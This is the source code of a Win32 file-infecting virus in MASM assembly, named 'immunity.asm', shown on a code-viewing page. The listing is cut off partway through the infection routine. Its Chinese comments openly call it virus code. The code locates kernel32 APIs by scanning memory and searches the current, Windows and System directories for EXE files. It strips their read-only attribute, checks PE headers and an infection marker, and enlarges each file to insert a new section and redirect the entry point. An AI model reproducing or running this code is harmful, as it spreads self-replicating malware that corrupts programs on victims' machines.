📄 immunity.asm
字号:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
;这是一些相关的定义,
;------------------------------------(上面的)--
.data
mcaption db "你好!",0
mtitle db "*标题*",0
; 主程序所用到的一些变量
;------------------------------------(上面的)--
.code
host_start:
invoke MessageBox,NULL,offset mcaption,offset mtitle,64
invoke ExitProcess,0
;主程序代码,只是简单的打一串字符而已。
;病毒代码运行完后,就会跳到此处执行。
;------------------------------------(上面的)--
Immunity SEGMENT PARA USE32 'Immunity'
assume cs:Immunity,ds:Immunity
vstart:
push ebp
push esp
call nstart
nstart:
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
;病毒中常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--
assume fs:nothing ;设置SEH,发生异常可以直接返回原入口.
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp
;=========================
; * 更改程序入口地址 *
cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax,old_base[ebp]
mov des_base[ebp],eax
mov eax, old_in[ebp]
mov des_in[ebp],eax
;变量定义的的意思见后方
;程序开始执行时,当前程序的原入口地址会放到old_base+old_in中
;由于程序中old_base_in有别的用途,因此将此地址存放到
;des_base_in,以便最后跳回原程序入口。
;------------------------------------(上面的)--
;获得KERNEL32地址及所需的API函数地址
mov eax,[esp+10h] ;//取Kernel32返回地址
and ax,0f000h
mov esi,eax ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
sub esi,1000h
cmp word ptr[esi],'ZM' ;//搜索EXE文件头
jnz short LoopFindKernel32
GetPeHeader:
movzx edi,word ptr[esi+3ch]
add edi,esi
cmp word ptr[edi],'EP' ;//确认是否PE文件头
jnz short LoopFindKernel32 ;esi->kernel32,edi->kernel32 PE HEADER
;//////////////////////////////////////////////////查找GetProcAddress函数地址
mov vKernel32[ebp],esi
GetPeExportTable:
mov ebx,[edi+78h];4+14h+60h
add ebx,vKernel32[ebp] ;//得到输出函数表
mov vExportKernel[ebp],ebx
push 14
call aGetProcAddr
db "GetProcAddress",0
aGetProcAddr:
lea eax,GetApiAddress[ebp]
call eax
or eax,eax
jz ExitTimes
mov vGetProcAddress[ebp],eax ;得到GetProcAddress地址
lea esi,bGetModuleHandle[ebp] ;获得所有用到的KERNEL32函数的地址
lea edi,vGetModuleHandle[ebp]
cld
ComeOn:
lodsd
add eax,ebp
push eax
push vKernel32[ebp]
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
stosd
cmp dword ptr[esi],0
jnz ComeOn
call UserDll1
db "User32.dll",0
UserDll1:
call dword ptr vGetModuleHandle[ebp]
or eax,eax
jnz Right
call UserDll2
db "User32.dll",0
UserDll2:
call dword ptr vLoadLibrary[ebp]
or eax,eax
jz ExitTimes ;获得USER32.DLL地址
Right:
call GetMess
db "MessageBoxA",0
GetMess:
push eax
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
mov vMessageBox[ebp],eax ;获得MESSAGEBOX地址
;-------------------------
;目录的开头部份
lea eax,NowPath[ebp]
push eax
mov eax,256
push eax
call vGetCurrentDirectory[ebp] ;成功返回写入字节数,失败返回0
test eax,eax
jz ExitTimes
;通过API函数得到当前程序所在目录
;------------------------------------(上面的)--
lea eax,NowPath[ebp]
push eax
lea eax,SrcDir[ebp]
push eax
call vlstrcpy[ebp]
test eax,eax
jz ExitTimes
;保存当前目录
;------------------------------------(上面的)--
mov NowPathNo[ebp],1
FindStartT:
cmp NowPathNo[ebp],1
jz GFindFt
cmp NowPathNo[ebp],2
jz GetWinD
cmp NowPathNo[ebp],3
jz GetSysD
jmp AllFindEnd
;根据NowPathNor值来判断感染哪个目录的文件
;------------------------------------(上面的)--
GetWinD:
mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetWindowsDirectory[ebp]
test eax,eax
jz ExitTimes
lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory[ebp]
test eax,eax
jz ExitTimes
jmp GFindFt
;得到WINDOWS所在目录,并且将其设为当前目录
;------------------------------------(上面的)--
GetSysD:
mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetSystemDirectory[ebp]
test eax,eax
jz ExitTimes
lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory[ebp]
test eax,eax
jz ExitTimes
;得到SYSTEM所在目录,并且将其设为当前目录
;------------------------------------(上面的)--
GFindFt:
lea eax,FindData[ebp]
push eax
lea eax,FileFilter[ebp]
push eax
call vFindFirstFile[ebp]
cmp eax,INVALID_HANDLE_VALUE
jz FindEnds
mov hFind[ebp],eax
;查找当前目录下的第一个EXE文件
;------------------------------------(上面的)--
GoOnFind :
;获得文件的属性,确保文件可以被打开
lea eax,FindData[ebp].cFileName
push eax
call vGetFileAttributes[ebp]
cmp eax,-1
jz EndDir
mov OldAttribute[ebp],eax
test eax,1
jz Open
and eax,0fffffffeh
push eax
lea eax,FindData[ebp].cFileName
push eax
call vSetFileAttributes[ebp]
cmp eax,-1
jz EndDir
Open:
;以下是病毒传染部份
;-------------------------
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebp].cFileName
push eax
call vCreateFile[ebp]
cmp eax,INVALID_HANDLE_VALUE
jz EndDir
mov hFile[ebp],eax
;打开文件
;------------------------------------(上面的)--
lea eax, LastWriteTime[ebp]
push eax
lea eax, LastAccessTime[ebp]
push eax
lea eax, CreationTime[ebp]
push eax
push hFile[ebp]
call vGetFileTime[ebp]
test eax,eax
jz CloseFile1
;保存原来文件修改时间
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile[ebp]
call vCreateFileMapping[ebp]
or eax,eax
jz Closefile
mov hMapping[ebp], eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebp]
call vMapViewOfFile[ebp]
or eax,eax
jz CloseMap
mov pMapping[ebp], eax
;判断感染条件:1,是否PE.2:是否已感染.3:是否有足够的空间.4:WINZIP自解压文件
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_lfanew
test eax,0fffff000h
jnz EndDir ;Header+stub不可能太大,超过4096byte
mov pe_header_off[ebp],eax
add ebx,eax ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS
cmp [ebx].Signature,IMAGE_NT_SIGNATURE ;是PE文件吗?
jnz UnMap
cmp word ptr[ebx+1ah],'FB' ;是否已经感染
jz UnMap
;***************************************************************
;指向第二个节判断是否是WinZip自解压文件
;是就不感染
;***************************************************************
mov eax,ebx
add eax,18h ;PE HEADER(4)+FILEHEADER(14)
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi ;eax指向第1个节表
assume eax:ptr IMAGE_SECTION_HEADER
mov edx,[eax].PointerToRawData
add edx,ebx
sub edx,pe_header_off[ebp]
sub edx,4
cmp dword ptr[edx],0
jnz UnMap
add eax,28h ;eax指向第2个节表
mov edx,eax
assume edx:ptr IMAGE_SECTION_HEADER
mov eax,[edx].PointerToRawData
add eax,ebx
sub eax,pe_header_off[ebp]
add eax,12h ;加10h+2h(10h处为"WinZip....")
cmp dword ptr [eax], 'piZn'
jz UnMap
push [ebx].OptionalHeader.FileAlignment
pop FileAlign[ebp]
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节
;***************************************************************
movzx eax,[ebx].FileHeader.NumberOfSections ;文件的节数
mov ecx,28h
mul ecx
add eax,pe_header_off[ebp]
add eax,18h
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi
mov NewSection_off[ebp],eax ;保存新节起始RVA
add eax,28h ;比较增加新节后是否超出SizeOfHeaders(节.TEXT在文件中的RVA)
cmp eax,[ebx].OptionalHeader.SizeOfHeaders
ja Infest ;即使没有添加空间还是可以免疫
push pMapping[ebp] ;关闭映射文件,然后从新生成新的映射文件
call vUnMapViewOfFile[ebp] ;并将映射文件的空间增加4K以便加入病毒代码
push hMapping[ebp]
call vCloseHandle[ebp]
push 0
push hFile[ebp]
call vGetFileSize[ebp] ;get file size
cmp eax,INVALID_HANDLE_VALUE
jz Closefile
mov ecx,FileAlign[ebp]
xor edx,edx
div ecx
test edx,edx
jz NoChange
inc eax
NoChange:
mul ecx
mov fsize[ebp],eax;文件尺寸节文件对齐
add eax,1000h
push 0
push eax
push 0
push PAGE_READWRITE
push NULL
push hFile[ebp]
call vCreateFileMapping[ebp]
or eax,eax
jz Closefile
mov hMapping[ebp], eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebp]
call vMapViewOfFile[ebp]
or eax,eax
jz CloseMap
mov pMapping[ebp], eax
mov ebx,eax
add ebx,pe_header_off[ebp] ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS
Noinfect: ;保存原入口
mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint
mov old_in[ebp],eax
mov eax, [ebx].OptionalHeader.ImageBase
mov old_base[ebp],eax
mov edi,NewSection_off[ebp] ;新节的RVA
add edi,pMapping[ebp] ;edi->新节起始地址
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -